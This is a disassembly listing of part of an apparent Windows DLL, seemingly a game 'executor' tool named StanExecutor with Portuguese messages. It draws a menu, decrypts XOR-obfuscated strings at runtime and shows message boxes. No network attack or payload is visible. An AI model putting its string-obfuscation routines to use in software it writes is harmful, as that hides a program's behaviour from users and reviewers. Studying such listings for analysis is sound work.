call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x1800d4090
mov rsi, qword [rbp + 0x88]
xor edi, edi
lea r15, [0x180167e06]
lea rax, [rbp + 0xed0]
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xed0], xmm0
mov qword [rbp + 0xee0], rdi
mov qword [rbp + 0xee8], rdi
xor r8d, r8d
mov rdx, r15
lea rcx, [rbp + 0xed0]
call fcn.180048670
nop
lea rax, [rbp + 0xd30]
mov qword [rbp - 0x60], rax
mov rdx, rsi
lea rcx, [rbp + 0xd30]
call fcn.18005b090
mov rbx, rax
lea rdx, [rbp + 0x1808]
lea rcx, [rbp + 0xf10]
call fcn.18005b090
nop
mov byte [rsp + 0x28], 0
mov byte [rsp + 0x20], 1
lea r9, [rbp + 0xed0]
mov r8, rbx
mov rdx, rax
lea rcx, [0x1802eff38]
call fcn.1800c0b10
nop
lea rcx, [rbp + 0x1808]
call fcn.180049240
nop
lea rcx, [rbp + 0x1828]
call fcn.180049240
nop
lea rcx, [rbp + 0x1980]
call fcn.18007ed30
movss xmm1, dword [0x180168c18]
movaps xmm0, xmm13
call fcn.180024590
mov qword [rbp + 0x160], 0
movzx eax, word [0x1801b33a4]
mov word [rbp - 0x7c], ax
cmp byte [0x1801b33a5], 0
je 0x1800d42ae
mov byte [rbp - 0x7c], WSASetLastError
xor byte [rbp - 0x7b], 0x38
lea rdx, [rbp + 0x160]
lea rcx, [rbp - 0x7c]
call fcn.18004a000
test al, al
je 0x1800d4379
mov rax, qword [0x1802efc08]
cmp qword [rax + 8], 0
je 0x1800d4366
lea rax, [rbp + 0xf30]
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xf30], xmm0
mov qword [rbp + 0xf40], rdi
mov qword [rbp + 0xf48], rdi
xor r8d, r8d
mov rdx, r15
lea rcx, [rbp + 0xf30]
call fcn.180048670
nop
lea rax, [rbp + 0xf50]
mov qword [rsp + 0x60], rax
mov rdx, rsi
lea rcx, [rbp + 0xf50]
call fcn.18005b090
mov rbx, rax
lea rdx, [rbp + 0xf70]
mov rcx, qword [0x1802eff30]
call fcn.180060da0
nop
mov byte [rsp + 0x28], 0
mov byte [rsp + 0x20], 1
lea r9, [rbp + 0xf30]
mov r8, rbx
mov rdx, rax
lea rcx, [0x1802eff38]
call fcn.1800c0b10
jmp 0x1800d4379
lea rdx, str.Entre_no_servidor_primeiro.
lea rcx, str.StanExecutor
call fcn.1800bb280
call fcn.180020eb0
xor ecx, ecx
call fcn.180017290
mov r15, 0xffffffffffffffff
mov r12d, dword [rbp - 0x64]
lea rdi, [0x1801b3b48]
movss xmm13, dword [0x1801b4c74]
cmp dword [0x1802f046c], 1
jne 0x1800d52c0
lea rcx, [0x1801e8070]
call fcn.180016140
movss xmm3, dword [rbp + 0x1734]
movaps xmm1, xmm3
addss xmm1, xmm13
movss xmm2, dword [rbp + 0x1730]
movaps xmm0, xmm2
addss xmm0, dword [0x1801b4ca0]
movss dword [rbp + 0x168], xmm0
movss dword [rbp + 0x16c], xmm1
addss xmm3, dword [0x180168bfc]
addss xmm2, dword [0x180168de8]
movss dword [rbp + 0x170], xmm2
movss dword [rbp + 0x174], xmm3
xor esi, esi
mov dword [rsp + 0x28], esi
xorps xmm0, xmm0
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0x168]
lea rdx, [rbp + 0x170]
mov rcx, r13
call fcn.18002ce40
mov dword [rbp + 0x178], 0x42c20000
mov dword [rbp + 0x17c], 0x41400000
lea rcx, [rbp + 0x178]
call fcn.180024f20
call fcn.180014850
mov rax, qword [str.dLVJKYO_qJXW_r_r_]
mov qword [rbp + 0x180], rax
cmp byte [0x1801b33af], sil
je 0x1800d4589
mov r8d, esi
cmp r14d, 2
jl 0x1800d4557
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm14
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x180]
xorps xmm2, xmm1
movd dword [rbp + 0x180], xmm2
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x184]
xorps xmm2, xmm1
movd dword [rbp + 0x184], xmm2
jmp 0x1800d4589
lea r9, [rbp + 0x180]
nop
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1800d4560
xor r8d, r8d
lea rdx, [0x1802f0470]
lea rcx, [rbp + 0x180]
call fcn.180052d60
call fcn.180017960
cmp dword [0x1802f0470], esi
jne 0x1800d52c2
mov dword [rbp + 0x188], 0x42aa0000
mov dword [rbp + 0x18c], 0x42700000
lea rcx, [rbp + 0x188]
call fcn.180024f20
mov qword [rbp + 0x190], rsi
mov rax, qword [0x1801b33b0]
mov qword [rbp + 0x198], rax
cmp byte [0x1801b33b7], sil
je 0x1800d4709
mov r8d, esi
cmp r14d, 2
jl 0x1800d46d5
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm14
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x198]
xorps xmm2, xmm1
movd dword [rbp + 0x198], xmm2
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x19c]
xorps xmm2, xmm1
movd dword [rbp + 0x19c], xmm2
jmp 0x1800d4709
lea r9, [rbp + 0x198]
nop dword [rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1800d46e0
lea rax, [0x180167e06]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x198]
call fcn.180013bd0
mov cl, 1
call fcn.1800b5490
mov rbx, rax
lea rcx, [rbp + 0x1638]
call fcn.180019ba0
mov edx, dword [0x1802f08a0]
mov rcx, qword gs:[0x58]
mov eax, 0x28
mov rcx, qword [rcx + rdx*8]
mov edx, dword [rax + rcx]
cmp dword [0x1802f0554], edx
jg 0x1800e0b75
mov dword [rbp + 0x1a8], 0x41400000
mov dword [rbp + 0x1ac], 0x41400000
lea rcx, [rbp + 0x1a8]
call fcn.180024f20
lea rdx, [0x1801e8020]
mov ecx, 7
call fcn.1800215e0
movss xmm1, dword [rbp + 0x163c]
subss xmm1, dword [0x1801b4c84]
movss xmm0, dword [rbp + 0x1638]
movss xmm13, dword [0x180168ddc]
subss xmm0, xmm13
movss dword [rbp + 0x1b0], xmm0
movss dword [rbp + 0x1b4], xmm1
movups xmm2, xmmword [0x1801b33b8]
movups xmmword [rbp + 0xa58], xmm2
movzx eax, word [0x1801b33c8]
mov word [rbp + 0xa68], ax
movzx eax, byte [0x1801b33ca]
mov byte [rbp + 0xa6a], al
mov r8d, esi
cmp r14d, 2
jl 0x1800d49bb
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xa58], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa5c]
xorps xmm2, xmm1
movd dword [rbp + 0xa5c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa60]
xorps xmm2, xmm1
movd dword [rbp + 0xa60], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa64]
xorps xmm2, xmm1
movd dword [rbp + 0xa64], xmm2
mov r8d, reloc.WS2_32.dll_recv
mov eax, r8d
lea r9, [rbp + 0xa58]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x1800d49d0
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0xa58]
call fcn.180049d70
test al, al
je 0x1800d4cd1
movss xmm0, dword [rbp + 0x1638]
subss xmm0, xmm13
call fcn.1800253d0
movups xmm2, xmmword [str.gJVYNNL]
movups xmmword [rbp + 0xa28], xmm2
movzx eax, word [0x1801b33e0]
mov word [rbp + 0xa38], ax
cmp byte [0x1801b33e1], sil
je 0x1800d4c50
mov r8d, esi
cmp r14d, 2
jl 0x1800d4c11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xa28], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa2c]
xorps xmm2, xmm1
movd dword [rbp + 0xa2c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa30]
xorps xmm2, xmm1
movd dword [rbp + 0xa30], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa34]
xorps xmm2, xmm1
movd dword [rbp + 0xa34], xmm2
mov r8d, reloc.WS2_32.dll_recv
mov eax, r8d
lea r9, [rbp + 0xa28]
add r9, rax
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x1800d4c20
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
mov r8d, 0x100
lea rdx, [0x1802f0560]
lea rcx, [rbp + 0xa28]
call fcn.18004cbe0
mov rax, qword [rbx]
mov r8, qword [rax + 0x38]
lea rax, [0x1801b4a00]
mov qword [rbp + 0x1590], rax
lea rax, [rbp + 0x1590]
mov qword [rbp + 0x15c8], rax
lea rdx, [rbp + 0x1590]
mov rcx, rbx
call r8
nop
mov rcx, qword [rbp + 0x15c8]
test rcx, rcx
je 0x1800d4cd1
mov rax, qword [rcx]
mov r8, qword [rax + 0x20]
lea rax, [rbp + 0x1590]
cmp rcx, rax
setne dl
call r8
mov qword [rbp + 0x15c8], rsi
call fcn.18004c330
mov ecx, 1
call fcn.180020f80
movss xmm1, dword [rbp + 0x163c]
subss xmm1, dword [0x1801b4c7c]
mov dword [rbp + 0x1b8], 0x43e70000
movss dword [rbp + 0x1bc], xmm1
lea rcx, [rbp + 0x1b8]
call fcn.180024f20
mov rcx, qword [0x1802ef130]
call fcn.1800212f0
mov qword [rbp + 0x1c0], 0
lea rdx, [rbp + 0x1c0]
mov rcx, rdi
call fcn.18004a000
test al, al
je 0x1800d4e03
mov qword [rbp + 0x1728], rsi
mov rax, qword [rbx]
mov r10, qword [rax + 0x30]
mov r9b, 1
lea r8, [0x1802eb4d8]
lea rdx, [rbp + 0x1728]
mov rcx, rbx
call r10
nop
mov rcx, qword [rbp + 0x1728]
test rcx, rcx
je 0x1800d4ded
lea rdx, [0x1802eb4d8]
lea rcx, [0x1802eff98]
call fcn.1800abb50
cmp byte [rax], 0
jne 0x1800d4de6
lea rdx, [0x1802eb4d8]
lea rcx, [0x1802eff98]
call fcn.1800abb50
mov byte [rax], 1
mov dword [rbp + 0x1718], esi
mov rcx, qword [rbp + 0x1728]
add rcx, 0x40
lea rax, [0x1801b4be0]
mov qword [rbp + 0x15d0], rax
lea rax, [rbp + 0x1718]
mov qword [rbp + 0x15d8], rax
lea rax, [rbp + 0x15d0]
mov qword [rbp + 0x1608], rax
xor r8d, r8d
lea rdx, [rbp + 0x15d0]
call fcn.1800b3ac0
mov rcx, qword [rbp + 0x1728]
test rcx, rcx
je 0x1800d4e03
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test al, al
je 0x1800d4e03
mov qword [rbp + 0x1728], rsi
movss xmm1, dword [0x180168c18]
xorps xmm0, xmm0
call fcn.180024590
mov qword [rbp + 0x90], 0
lea rdx, [rbp + 0x90]
lea rcx, [0x1801b3b4c]
call fcn.18004a000
test al, al
je 0x1800d4f0e
mov qword [rbp + 0x1720], rsi
mov rax, qword [rbx]
mov r10, qword [rax + 0x30]
mov r9b, 1
lea r8, [0x1802eb4d8]
lea rdx, [rbp + 0x1720]
mov rcx, rbx
call r10
nop
mov rcx, qword [rbp + 0x1720]
test rcx, rcx
je 0x1800d4ef8
lea rdx, [0x1802eb4d8]
lea rcx, [0x1802f0040]
call fcn.1800abb50
mov byte [rax], 1
lea rdx, [0x1802eb4d8]
lea rcx, [0x1802eff88]
call fcn.1800abb50
mov byte [rax], 1
mov ecx, reloc.WS2_32.dll_recv
call fcn.18015d0b4
mov rdi, rax
mov qword [rsp + 0x48], rax
test rax, rax
je 0x1800d4edc
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov rcx, qword [rbp + 0x1720]
mov qword [rbp - 0x38], rcx
test rcx, rcx
je 0x1800d4ece
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
lea rdx, [rbp - 0x38]
mov rcx, rdi
call fcn.1800aa980
jmp 0x1800d4edf
mov rax, rsi
mov r8, qword [0x1802efb90]
mov rdx, rbx
mov rcx, rax
call fcn.1800bc280
mov rcx, qword [rbp + 0x1720]
test rcx, rcx
je 0x1800d4f0e
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test al, al
je 0x1800d4f0e
mov qword [rbp + 0x1720], rsi
movss xmm1, dword [0x180168c18]
xorps xmm0, xmm0
call fcn.180024590
mov qword [rbp + 0x1c8], 0
lea rdx, [rbp + 0x1c8]
lea rcx, [0x18016d78c]
call fcn.18004a000
test al, al
je 0x1800d52a9
movsd xmm0, qword [str.dLXTDX_J4.0C]
movsd qword [rbp + 0x5a8], xmm0
mov ecx, dword [0x1801b3418]
mov dword [rbp + 0x5b0], ecx
movzx eax, byte [0x1801b341c]
mov byte [rbp + 0x5b4], al
mov r8d, esi
cmp r14d, 2
jl 0x1800d50ba
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.dLXTDX_J4.0C]
xorps xmm1, xmm0
movd dword [rbp + 0x5a8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x5ac]
xorps xmm2, xmm1
movd dword [rbp + 0x5ac], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x5b0], xmm2
mov r8d, recv
mov eax, r8d
lea r9, [rbp + 0x5a8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1800d50d0
movups xmm0, xmmword [str.q_XNNNX]
movups xmmword [rbp + 0x1530], xmm0
movups xmm1, xmmword [0x1801b33f8]
movups xmmword [rbp + 0x1540], xmm1
mov eax, dword [0x1801b3408]
mov dword [rbp + 0x1550], eax
movzx eax, word [0x1801b340c]
mov word [rbp + 0x1554], ax
mov r8d, esi
cmp r14d, 2
jl 0x1800d524b
movdqa xmmword [rsp + 0x50], xmm14
lea rcx, [rbp + 0x1534]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1800d5160
cmp r8d, 0x26
jge 0x1800d5290
movsxd rax, r8d
lea r9, [rbp + 0x1530]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x26
jl 0x1800d5260
xor r9d, r9d
lea r8, [rbp + 0x5a8]
lea rdx, [rbp + 0x1530]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.180020eb0
xor ecx, ecx
call fcn.180017290
movss xmm13, dword [0x1801b4c74]
jmp 0x1800d52c2
xor esi, esi
cmp dword [0x1802f046c], 2
jne 0x1800d959e
lea rcx, [0x1801e8070]
call fcn.180016140
movss xmm3, dword [rbp + 0x1734]
movaps xmm1, xmm3
addss xmm1, xmm13
movss xmm2, dword [rbp + 0x1730]
movaps xmm0, xmm2
addss xmm0, dword [0x1801b4ca0]
movss dword [rbp + 0x1d0], xmm0
movss dword [rbp + 0x1d4], xmm1
addss xmm3, dword [0x180168bfc]
addss xmm2, dword [0x180168de8]
movss dword [rbp + 0x1d8], xmm2
movss dword [rbp + 0x1dc], xmm3
mov dword [rsp + 0x28], esi
xorps xmm0, xmm0
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0x1d0]
lea rdx, [rbp + 0x1d8]
mov rcx, r13
call fcn.18002ce40
mov dword [rbp + 0x1e0], 0x42c20000
mov dword [rbp + 0x1e4], 0x41400000
lea rcx, [rbp + 0x1e0]
call fcn.180024f20
call fcn.180014850
mov eax, dword [0x1801b3420]
mov dword [rbp + 0xc], eax
movzx ecx, word [0x1801b3424]
mov word [rbp + 0x10], cx
movzx eax, byte [0x1801b3426]
mov byte [rbp + 0xc], 0x41
xor byte [rbp + 0xd], 0x38
xor byte [rbp + 0xe], 0x39
xor byte [rbp + 0xf], 0x3a
xor cl, 0x3b
mov byte [rbp + 0x10], cl
xor byte [rbp + 0x11], 0x3c
xor al, 0x3d
mov byte [rbp + 0x12], al
xor r8d, r8d
lea rdx, [0x1802f0470]
lea rcx, [rbp + 0xc]
call fcn.180052d60
movss xmm1, dword [0x180168c18]
xorps xmm0, xmm0
call fcn.180024590
mov eax, dword [0x1801b3428]
mov dword [rbp - 0x28], eax
cmp byte [0x1801b342b], 0
je 0x1800d5489
mov r8d, esi
cmp r14d, 2
jl 0x1800d5452
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm14
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp - 0x28], xmm1
jmp 0x1800d5489
lea r9, [rbp - 0x28]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1800d5460
mov r8d, 1
lea rdx, [0x1802f0470]
lea rcx, [rbp - 0x28]
call fcn.180052d60
call fcn.180017960
mov eax, dword [0x1802f0470]
cmp eax, 1
jne 0x1800d7ab8
mov dword [rbp + 0x1e8], 0x42aa0000
mov dword [rbp + 0x1ec], 0x42700000
lea rcx, [rbp + 0x1e8]
call fcn.180024f20
mov qword [rbp + 0x1f0], 0
movsd xmm0, qword [str.rkiI_P__]
movsd qword [rbp + 0x368], xmm0
movzx eax, byte [0x1801b3438]
mov byte [rbp + 0x368], 0x45
xor byte [rbp + 0x369], 0x38
xor byte [rbp + 0x36a], 0x39
xor byte [rbp + 0x36b], 0x3a
xor byte [rbp + 0x36c], 0x3b
xor byte [rbp + 0x36d], 0x3c
xor byte [rbp + 0x36e], 0x3d
xor byte [rbp + 0x36f], 0x3e
xor al, 0x3f
mov byte [rbp + 0x370], al
lea rdi, [0x180167e06]
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x368]
call fcn.180013bd0
mov dword [rbp + 0x1f8], 0x41400000
mov dword [rbp + 0x1fc], 0x41400000
lea rcx, [rbp + 0x1f8]
call fcn.180024f20
movzx eax, word [0x1801b3440]
mov word [rbp - 0x78], ax
cmp byte [0x1801b3441], 0
je 0x1800d559b
mov byte [rbp - 0x78], 0x33
xor byte [rbp - 0x77], 0x38
lea r10, [rbp - 0x78]
mov dword [rbp + 0x200], 0x43910000
mov dword [rbp + 0x204], 0x43820000
mov eax, dword [str.rki:]
mov dword [rbp - 0x54], eax
cmp byte [0x1801b343f], 0
je 0x1800d5669
mov r8d, esi
cmp r14d, 2
jl 0x1800d562f
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
